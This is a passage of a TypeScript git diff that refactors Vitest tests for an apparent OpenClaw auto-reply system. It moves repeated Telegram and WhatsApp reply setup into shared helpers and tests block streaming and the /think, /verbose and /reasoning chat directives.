|
||||
],
|
||||
MediaUnderstandingDecisions: [createSuccessfulImageMediaDecision()],
|
||||
});
|
||||
expect(note).toBe("[media attached: /tmp/b.png | https://example.com/b.png]");
|
||||
});
|
||||
|
||||
25
src/auto-reply/media-understanding.test-fixtures.ts
Normal file
25
src/auto-reply/media-understanding.test-fixtures.ts
Normal file
@@ -0,0 +1,25 @@
|
||||
export function createSuccessfulImageMediaDecision() {
|
||||
return {
|
||||
capability: "image",
|
||||
outcome: "success",
|
||||
attachments: [
|
||||
{
|
||||
attachmentIndex: 0,
|
||||
attempts: [
|
||||
{
|
||||
type: "provider",
|
||||
outcome: "success",
|
||||
provider: "openai",
|
||||
model: "gpt-5.2",
|
||||
},
|
||||
],
|
||||
chosen: {
|
||||
type: "provider",
|
||||
outcome: "success",
|
||||
provider: "openai",
|
||||
model: "gpt-5.2",
|
||||
},
|
||||
},
|
||||
],
|
||||
} as const;
|
||||
}
|
||||
@@ -7,6 +7,7 @@ import { getReplyFromConfig } from "./reply.js";
|
||||
|
||||
type RunEmbeddedPiAgent = typeof import("../agents/pi-embedded.js").runEmbeddedPiAgent;
|
||||
type RunEmbeddedPiAgentParams = Parameters<RunEmbeddedPiAgent>[0];
|
||||
type RunEmbeddedPiAgentReply = Awaited<ReturnType<RunEmbeddedPiAgent>>;
|
||||
|
||||
const piEmbeddedMock = vi.hoisted(() => ({
|
||||
abortEmbeddedPiRun: vi.fn().mockReturnValue(false),
|
||||
@@ -54,6 +55,58 @@ function restoreHomeEnv(snapshot: HomeEnvSnapshot) {
|
||||
let fixtureRoot = "";
|
||||
let caseId = 0;
|
||||
|
||||
function createEmbeddedReply(text: string): RunEmbeddedPiAgentReply {
|
||||
return {
|
||||
payloads: [{ text }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function createTelegramMessage(messageSid: string) {
|
||||
return {
|
||||
Body: "ping",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
MessageSid: messageSid,
|
||||
Provider: "telegram",
|
||||
} as const;
|
||||
}
|
||||
|
||||
function createReplyConfig(home: string, streamMode?: "block") {
|
||||
return {
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { telegram: { allowFrom: ["*"], streamMode } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
};
|
||||
}
|
||||
|
||||
async function runTelegramReply(params: {
|
||||
home: string;
|
||||
messageSid: string;
|
||||
onBlockReply?: Parameters<typeof getReplyFromConfig>[1]["onBlockReply"];
|
||||
onReplyStart?: Parameters<typeof getReplyFromConfig>[1]["onReplyStart"];
|
||||
disableBlockStreaming?: boolean;
|
||||
streamMode?: "block";
|
||||
}) {
|
||||
return getReplyFromConfig(
|
||||
createTelegramMessage(params.messageSid),
|
||||
{
|
||||
onReplyStart: params.onReplyStart,
|
||||
onBlockReply: params.onBlockReply,
|
||||
disableBlockStreaming: params.disableBlockStreaming,
|
||||
},
|
||||
createReplyConfig(params.home, params.streamMode),
|
||||
);
|
||||
}
|
||||
|
||||
async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise<T> {
|
||||
const home = path.join(fixtureRoot, `case-${++caseId}`);
|
||||
await fs.mkdir(path.join(home, ".openclaw", "agents", "main", "sessions"), { recursive: true });
|
||||
@@ -135,38 +188,18 @@ describe("block streaming", () => {
|
||||
void params.onBlockReply?.({ text: "second" });
|
||||
return {
|
||||
payloads: [{ text: "first" }, { text: "second" }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
meta: createEmbeddedReply("first").meta,
|
||||
};
|
||||
};
|
||||
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(impl);
|
||||
|
||||
const replyPromise = getReplyFromConfig(
|
||||
{
|
||||
Body: "ping",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
MessageSid: "msg-123",
|
||||
Provider: "telegram",
|
||||
},
|
||||
{
|
||||
onReplyStart,
|
||||
onBlockReply,
|
||||
disableBlockStreaming: false,
|
||||
},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { telegram: { allowFrom: ["*"] } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
);
|
||||
const replyPromise = runTelegramReply({
|
||||
home,
|
||||
messageSid: "msg-123",
|
||||
onReplyStart,
|
||||
onBlockReply,
|
||||
disableBlockStreaming: false,
|
||||
});
|
||||
|
||||
await onReplyStartCalled;
|
||||
releaseTyping?.();
|
||||
@@ -176,37 +209,17 @@ describe("block streaming", () => {
|
||||
expect(seen).toEqual(["first\n\nsecond"]);
|
||||
|
||||
const onBlockReplyStreamMode = vi.fn().mockResolvedValue(undefined);
|
||||
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(async () => ({
|
||||
payloads: [{ text: "final" }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
}));
|
||||
|
||||
const resStreamMode = await getReplyFromConfig(
|
||||
{
|
||||
Body: "ping",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
MessageSid: "msg-127",
|
||||
Provider: "telegram",
|
||||
},
|
||||
{
|
||||
onBlockReply: onBlockReplyStreamMode,
|
||||
},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { telegram: { allowFrom: ["*"], streamMode: "block" } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(async () =>
|
||||
createEmbeddedReply("final"),
|
||||
);
|
||||
|
||||
const resStreamMode = await runTelegramReply({
|
||||
home,
|
||||
messageSid: "msg-127",
|
||||
onBlockReply: onBlockReplyStreamMode,
|
||||
streamMode: "block",
|
||||
});
|
||||
|
||||
expect(resStreamMode?.text).toBe("final");
|
||||
expect(onBlockReplyStreamMode).not.toHaveBeenCalled();
|
||||
});
|
||||
@@ -222,39 +235,16 @@ describe("block streaming", () => {
|
||||
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(
|
||||
async (params: RunEmbeddedPiAgentParams) => {
|
||||
void params.onBlockReply?.({ text: "\n\n Hello from stream" });
|
||||
return {
|
||||
payloads: [{ text: "\n\n Hello from stream" }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
};
|
||||
return createEmbeddedReply("\n\n Hello from stream");
|
||||
},
|
||||
);
|
||||
|
||||
const res = await getReplyFromConfig(
|
||||
{
|
||||
Body: "ping",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
MessageSid: "msg-128",
|
||||
Provider: "telegram",
|
||||
},
|
||||
{
|
||||
onBlockReply,
|
||||
disableBlockStreaming: false,
|
||||
},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { telegram: { allowFrom: ["*"] } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
);
|
||||
const res = await runTelegramReply({
|
||||
home,
|
||||
messageSid: "msg-128",
|
||||
onBlockReply,
|
||||
disableBlockStreaming: false,
|
||||
});
|
||||
|
||||
expect(res).toBeUndefined();
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(1);
|
||||
@@ -269,39 +259,16 @@ describe("block streaming", () => {
|
||||
piEmbeddedMock.runEmbeddedPiAgent.mockImplementation(
|
||||
async (params: RunEmbeddedPiAgentParams) => {
|
||||
void params.onBlockReply?.({ text: "Result\nMEDIA: ./image.png" });
|
||||
return {
|
||||
payloads: [{ text: "Result\nMEDIA: ./image.png" }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
};
|
||||
return createEmbeddedReply("Result\nMEDIA: ./image.png");
|
||||
},
|
||||
);
|
||||
|
||||
const res = await getReplyFromConfig(
|
||||
{
|
||||
Body: "ping",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
MessageSid: "msg-129",
|
||||
Provider: "telegram",
|
||||
},
|
||||
{
|
||||
onBlockReply,
|
||||
disableBlockStreaming: false,
|
||||
},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { telegram: { allowFrom: ["*"] } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
);
|
||||
const res = await runTelegramReply({
|
||||
home,
|
||||
messageSid: "msg-129",
|
||||
onBlockReply,
|
||||
disableBlockStreaming: false,
|
||||
});
|
||||
|
||||
expect(res).toBeUndefined();
|
||||
expect(onBlockReply).toHaveBeenCalledTimes(1);
|
||||
|
||||
@@ -4,7 +4,11 @@ import path from "node:path";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
installDirectiveBehaviorE2EHooks,
|
||||
makeWhatsAppDirectiveConfig,
|
||||
replyText,
|
||||
replyTexts,
|
||||
runEmbeddedPiAgent,
|
||||
sessionStorePath,
|
||||
withTempHome,
|
||||
} from "./reply.directive.directive-behavior.e2e-harness.js";
|
||||
import { getReplyFromConfig } from "./reply.js";
|
||||
@@ -20,90 +24,38 @@ async function writeSkill(params: { workspaceDir: string; name: string; descript
|
||||
);
|
||||
}
|
||||
|
||||
async function runThinkingDirective(home: string, model: string) {
|
||||
const res = await getReplyFromConfig(
|
||||
{
|
||||
Body: "/thinking xhigh",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
CommandAuthorized: true,
|
||||
},
|
||||
{},
|
||||
makeWhatsAppDirectiveConfig(home, { model }, { session: { store: sessionStorePath(home) } }),
|
||||
);
|
||||
return replyTexts(res);
|
||||
}
|
||||
|
||||
describe("directive behavior", () => {
|
||||
installDirectiveBehaviorE2EHooks();
|
||||
|
||||
it("accepts /thinking xhigh for codex models", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const storePath = path.join(home, "sessions.json");
|
||||
|
||||
const res = await getReplyFromConfig(
|
||||
{
|
||||
Body: "/thinking xhigh",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
CommandAuthorized: true,
|
||||
},
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "openai-codex/gpt-5.2-codex",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: storePath },
|
||||
},
|
||||
);
|
||||
|
||||
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
|
||||
const texts = await runThinkingDirective(home, "openai-codex/gpt-5.2-codex");
|
||||
expect(texts).toContain("Thinking level set to xhigh.");
|
||||
});
|
||||
});
|
||||
it("accepts /thinking xhigh for openai gpt-5.2", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const storePath = path.join(home, "sessions.json");
|
||||
|
||||
const res = await getReplyFromConfig(
|
||||
{
|
||||
Body: "/thinking xhigh",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
CommandAuthorized: true,
|
||||
},
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "openai/gpt-5.2",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: storePath },
|
||||
},
|
||||
);
|
||||
|
||||
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
|
||||
const texts = await runThinkingDirective(home, "openai/gpt-5.2");
|
||||
expect(texts).toContain("Thinking level set to xhigh.");
|
||||
});
|
||||
});
|
||||
it("rejects /thinking xhigh for non-codex models", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const storePath = path.join(home, "sessions.json");
|
||||
|
||||
const res = await getReplyFromConfig(
|
||||
{
|
||||
Body: "/thinking xhigh",
|
||||
From: "+1004",
|
||||
To: "+2000",
|
||||
CommandAuthorized: true,
|
||||
},
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "openai/gpt-4.1-mini",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: storePath },
|
||||
},
|
||||
);
|
||||
|
||||
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
|
||||
const texts = await runThinkingDirective(home, "openai/gpt-4.1-mini");
|
||||
expect(texts).toContain(
|
||||
'Thinking level "xhigh" is only supported for openai/gpt-5.2, openai-codex/gpt-5.3-codex, openai-codex/gpt-5.3-codex-spark, openai-codex/gpt-5.2-codex, openai-codex/gpt-5.1-codex, github-copilot/gpt-5.2-codex or github-copilot/gpt-5.2.',
|
||||
);
|
||||
@@ -119,22 +71,19 @@ describe("directive behavior", () => {
|
||||
CommandAuthorized: true,
|
||||
},
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
models: {
|
||||
"anthropic/claude-opus-4-5": { alias: " help " },
|
||||
},
|
||||
makeWhatsAppDirectiveConfig(
|
||||
home,
|
||||
{
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
models: {
|
||||
"anthropic/claude-opus-4-5": { alias: " help " },
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
{ session: { store: sessionStorePath(home) } },
|
||||
),
|
||||
);
|
||||
|
||||
const text = Array.isArray(res) ? res[0]?.text : res?.text;
|
||||
const text = replyText(res);
|
||||
expect(text).toContain("Help");
|
||||
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
@@ -156,19 +105,17 @@ describe("directive behavior", () => {
|
||||
CommandAuthorized: true,
|
||||
},
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace,
|
||||
models: {
|
||||
"anthropic/claude-opus-4-5": { alias: "demo_skill" },
|
||||
},
|
||||
makeWhatsAppDirectiveConfig(
|
||||
home,
|
||||
{
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace,
|
||||
models: {
|
||||
"anthropic/claude-opus-4-5": { alias: "demo_skill" },
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
{ session: { store: sessionStorePath(home) } },
|
||||
),
|
||||
);
|
||||
|
||||
expect(runEmbeddedPiAgent).toHaveBeenCalled();
|
||||
@@ -186,19 +133,16 @@ describe("directive behavior", () => {
|
||||
CommandAuthorized: true,
|
||||
},
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
makeWhatsAppDirectiveConfig(
|
||||
home,
|
||||
{ model: "anthropic/claude-opus-4-5" },
|
||||
{
|
||||
session: { store: sessionStorePath(home) },
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
),
|
||||
);
|
||||
|
||||
const text = Array.isArray(res) ? res[0]?.text : res?.text;
|
||||
const text = replyText(res);
|
||||
expect(text).toContain("Invalid debounce");
|
||||
expect(text).toContain("Invalid cap");
|
||||
expect(text).toContain("Invalid drop policy");
|
||||
@@ -216,27 +160,24 @@ describe("directive behavior", () => {
|
||||
CommandAuthorized: true,
|
||||
},
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
makeWhatsAppDirectiveConfig(
|
||||
home,
|
||||
{ model: "anthropic/claude-opus-4-5" },
|
||||
{
|
||||
messages: {
|
||||
queue: {
|
||||
mode: "collect",
|
||||
debounceMs: 1500,
|
||||
cap: 9,
|
||||
drop: "summarize",
|
||||
},
|
||||
},
|
||||
session: { store: sessionStorePath(home) },
|
||||
},
|
||||
messages: {
|
||||
queue: {
|
||||
mode: "collect",
|
||||
debounceMs: 1500,
|
||||
cap: 9,
|
||||
drop: "summarize",
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
),
|
||||
);
|
||||
|
||||
const text = Array.isArray(res) ? res[0]?.text : res?.text;
|
||||
const text = replyText(res);
|
||||
expect(text).toContain(
|
||||
"Current queue settings: mode=collect, debounce=1500ms, cap=9, drop=summarize.",
|
||||
);
|
||||
@@ -251,19 +192,14 @@ describe("directive behavior", () => {
|
||||
const res = await getReplyFromConfig(
|
||||
{ Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true },
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
thinkingDefault: "high",
|
||||
},
|
||||
},
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
makeWhatsAppDirectiveConfig(
|
||||
home,
|
||||
{ model: "anthropic/claude-opus-4-5", thinkingDefault: "high" },
|
||||
{ session: { store: sessionStorePath(home) } },
|
||||
),
|
||||
);
|
||||
|
||||
const text = Array.isArray(res) ? res[0]?.text : res?.text;
|
||||
const text = replyText(res);
|
||||
expect(text).toContain("Current thinking level: high");
|
||||
expect(text).toContain("Options: off, minimal, low, medium, high.");
|
||||
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();
|
||||
|
||||
@@ -1,57 +1,90 @@
|
||||
import "./reply.directive.directive-behavior.e2e-mocks.js";
|
||||
import path from "node:path";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
import { loadSessionStore } from "../config/sessions.js";
|
||||
import {
|
||||
installDirectiveBehaviorE2EHooks,
|
||||
makeWhatsAppDirectiveConfig,
|
||||
replyText,
|
||||
replyTexts,
|
||||
runEmbeddedPiAgent,
|
||||
sessionStorePath,
|
||||
withTempHome,
|
||||
} from "./reply.directive.directive-behavior.e2e-harness.js";
|
||||
import { getReplyFromConfig } from "./reply.js";
|
||||
|
||||
async function runThinkDirectiveAndGetText(
|
||||
home: string,
|
||||
options: { thinkingDefault?: "high" } = {},
|
||||
): Promise<string | undefined> {
|
||||
const res = await getReplyFromConfig(
|
||||
{ Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true },
|
||||
{},
|
||||
makeWhatsAppDirectiveConfig(home, {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
...(options.thinkingDefault ? { thinkingDefault: options.thinkingDefault } : {}),
|
||||
}),
|
||||
);
|
||||
return replyText(res);
|
||||
}
|
||||
|
||||
function mockEmbeddedResponse(text: string) {
|
||||
vi.mocked(runEmbeddedPiAgent).mockResolvedValue({
|
||||
payloads: [{ text }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
async function runInlineReasoningMessage(params: {
|
||||
home: string;
|
||||
body: string;
|
||||
storePath: string;
|
||||
blockReplies: string[];
|
||||
}) {
|
||||
return await getReplyFromConfig(
|
||||
{
|
||||
Body: params.body,
|
||||
From: "+1222",
|
||||
To: "+1222",
|
||||
Provider: "whatsapp",
|
||||
},
|
||||
{
|
||||
onBlockReply: (payload) => {
|
||||
if (payload.text) {
|
||||
params.blockReplies.push(payload.text);
|
||||
}
|
||||
},
|
||||
},
|
||||
makeWhatsAppDirectiveConfig(
|
||||
params.home,
|
||||
{ model: "anthropic/claude-opus-4-5" },
|
||||
{
|
||||
session: { store: params.storePath },
|
||||
},
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
describe("directive behavior", () => {
|
||||
installDirectiveBehaviorE2EHooks();
|
||||
|
||||
it("applies inline reasoning in mixed messages and acks immediately", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
vi.mocked(runEmbeddedPiAgent).mockResolvedValue({
|
||||
payloads: [{ text: "done" }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
});
|
||||
mockEmbeddedResponse("done");
|
||||
|
||||
const blockReplies: string[] = [];
|
||||
const storePath = path.join(home, "sessions.json");
|
||||
const storePath = sessionStorePath(home);
|
||||
|
||||
const res = await getReplyFromConfig(
|
||||
{
|
||||
Body: "please reply\n/reasoning on",
|
||||
From: "+1222",
|
||||
To: "+1222",
|
||||
Provider: "whatsapp",
|
||||
},
|
||||
{
|
||||
onBlockReply: (payload) => {
|
||||
if (payload.text) {
|
||||
blockReplies.push(payload.text);
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: storePath },
|
||||
},
|
||||
);
|
||||
const res = await runInlineReasoningMessage({
|
||||
home,
|
||||
body: "please reply\n/reasoning on",
|
||||
storePath,
|
||||
blockReplies,
|
||||
});
|
||||
|
||||
const texts = (Array.isArray(res) ? res : [res]).map((entry) => entry?.text).filter(Boolean);
|
||||
const texts = replyTexts(res);
|
||||
expect(texts).toContain("done");
|
||||
|
||||
expect(runEmbeddedPiAgent).toHaveBeenCalledOnce();
|
||||
@@ -59,68 +92,24 @@ describe("directive behavior", () => {
|
||||
});
|
||||
it("keeps reasoning acks for rapid mixed directives", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
vi.mocked(runEmbeddedPiAgent).mockResolvedValue({
|
||||
payloads: [{ text: "ok" }],
|
||||
meta: {
|
||||
durationMs: 5,
|
||||
agentMeta: { sessionId: "s", provider: "p", model: "m" },
|
||||
},
|
||||
});
|
||||
mockEmbeddedResponse("ok");
|
||||
|
||||
const blockReplies: string[] = [];
|
||||
const storePath = path.join(home, "sessions.json");
|
||||
const storePath = sessionStorePath(home);
|
||||
|
||||
await getReplyFromConfig(
|
||||
{
|
||||
Body: "do it\n/reasoning on",
|
||||
From: "+1222",
|
||||
To: "+1222",
|
||||
Provider: "whatsapp",
|
||||
},
|
||||
{
|
||||
onBlockReply: (payload) => {
|
||||
if (payload.text) {
|
||||
blockReplies.push(payload.text);
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: storePath },
|
||||
},
|
||||
);
|
||||
await runInlineReasoningMessage({
|
||||
home,
|
||||
body: "do it\n/reasoning on",
|
||||
storePath,
|
||||
blockReplies,
|
||||
});
|
||||
|
||||
await getReplyFromConfig(
|
||||
{
|
||||
Body: "again\n/reasoning on",
|
||||
From: "+1222",
|
||||
To: "+1222",
|
||||
Provider: "whatsapp",
|
||||
},
|
||||
{
|
||||
onBlockReply: (payload) => {
|
||||
if (payload.text) {
|
||||
blockReplies.push(payload.text);
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["*"] } },
|
||||
session: { store: storePath },
|
||||
},
|
||||
);
|
||||
await runInlineReasoningMessage({
|
||||
home,
|
||||
body: "again\n/reasoning on",
|
||||
storePath,
|
||||
blockReplies,
|
||||
});
|
||||
|
||||
expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(2);
|
||||
expect(blockReplies.length).toBe(0);
|
||||
@@ -131,41 +120,31 @@ describe("directive behavior", () => {
|
||||
const res = await getReplyFromConfig(
|
||||
{ Body: "/verbose on", From: "+1222", To: "+1222", CommandAuthorized: true },
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
makeWhatsAppDirectiveConfig(home, { model: "anthropic/claude-opus-4-5" }),
|
||||
);
|
||||
|
||||
const text = Array.isArray(res) ? res[0]?.text : res?.text;
|
||||
const text = replyText(res);
|
||||
expect(text).toMatch(/^⚙️ Verbose logging enabled\./);
|
||||
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
it("persists verbose off when directive is standalone", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const storePath = path.join(home, "sessions.json");
|
||||
const storePath = sessionStorePath(home);
|
||||
|
||||
const res = await getReplyFromConfig(
|
||||
{ Body: "/verbose off", From: "+1222", To: "+1222", CommandAuthorized: true },
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
makeWhatsAppDirectiveConfig(
|
||||
home,
|
||||
{ model: "anthropic/claude-opus-4-5" },
|
||||
{
|
||||
session: { store: storePath },
|
||||
},
|
||||
session: { store: storePath },
|
||||
},
|
||||
),
|
||||
);
|
||||
|
||||
const text = Array.isArray(res) ? res[0]?.text : res?.text;
|
||||
const text = replyText(res);
|
||||
expect(text).toMatch(/Verbose logging disabled\./);
|
||||
const store = loadSessionStore(storePath);
|
||||
const entry = Object.values(store)[0];
|
||||
@@ -175,22 +154,7 @@ describe("directive behavior", () => {
|
||||
});
|
||||
it("shows current think level when /think has no argument", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const res = await getReplyFromConfig(
|
||||
{ Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true },
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
thinkingDefault: "high",
|
||||
},
|
||||
},
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
);
|
||||
|
||||
const text = Array.isArray(res) ? res[0]?.text : res?.text;
|
||||
const text = await runThinkDirectiveAndGetText(home, { thinkingDefault: "high" });
|
||||
expect(text).toContain("Current thinking level: high");
|
||||
expect(text).toContain("Options: off, minimal, low, medium, high.");
|
||||
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();
|
||||
@@ -198,21 +162,7 @@ describe("directive behavior", () => {
|
||||
});
|
||||
it("shows off when /think has no argument and no default set", async () => {
|
||||
await withTempHome(async (home) => {
|
||||
const res = await getReplyFromConfig(
|
||||
{ Body: "/think", From: "+1222", To: "+1222", CommandAuthorized: true },
|
||||
{},
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: "anthropic/claude-opus-4-5",
|
||||
workspace: path.join(home, "openclaw"),
|
||||
},
|
||||
},
|
||||
session: { store: path.join(home, "sessions.json") },
|
||||
},
|
||||
);
|
||||
|
||||
const text = Array.isArray(res) ? res[0]?.text : res?.text;
|
||||
const text = await runThinkDirectiveAndGetText(home);
|
||||
expect(text).toContain("Current thinking level: off");
|
||||
expect(text).toContain("Options: off, minimal, low, medium, high.");
|
||||
expect(runEmbeddedPiAgent).not.toHaveBeenCalled();
|
||||
|
||||
@@ -20,6 +20,22 @@ export const DEFAULT_TEST_MODEL_CATALOG: Array<{
|
||||
{ id: "gpt-4.1-mini", name: "GPT-4.1 Mini", provider: "openai" },
|
||||
];
|
||||
|
||||
export type ReplyPayloadText = { text?: string | null } | null | undefined;
|
||||
|
||||
export function replyText(res: ReplyPayloadText | ReplyPayloadText[]): string | undefined {
|
||||
if (Array.isArray(res)) {
|
||||
return typeof res[0]?.text === "string" ? res[0]?.text : undefined;
|
||||
}
|
||||
return typeof res?.text === "string" ? res.text : undefined;
|
||||
}
|
||||
|
||||
export function replyTexts(res: ReplyPayloadText | ReplyPayloadText[]): string[] {
|
||||
const payloads = Array.isArray(res) ? res : [res];
|
||||
return payloads
|
||||
.map((entry) => (typeof entry?.text === "string" ? entry.text : undefined))
|
||||
.filter((value): value is string => Boolean(value));
|
||||
}
|
||||
|
||||
export async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise<T> {
|
||||
return withTempHomeBase(
|
||||
async (home) => {
|
||||
@@ -35,6 +51,55 @@ export async function withTempHome<T>(fn: (home: string) => Promise<T>): Promise
|
||||
);
|
||||
}
|
||||
|
||||
export function sessionStorePath(home: string): string {
|
||||
return path.join(home, "sessions.json");
|
||||
}
|
||||
|
||||
export function makeWhatsAppDirectiveConfig(
|
||||
home: string,
|
||||
defaults: Record<string, unknown>,
|
||||
extra: Record<string, unknown> = {},
|
||||
) {
|
||||
return {
|
||||
agents: {
|
||||
defaults: {
|
||||
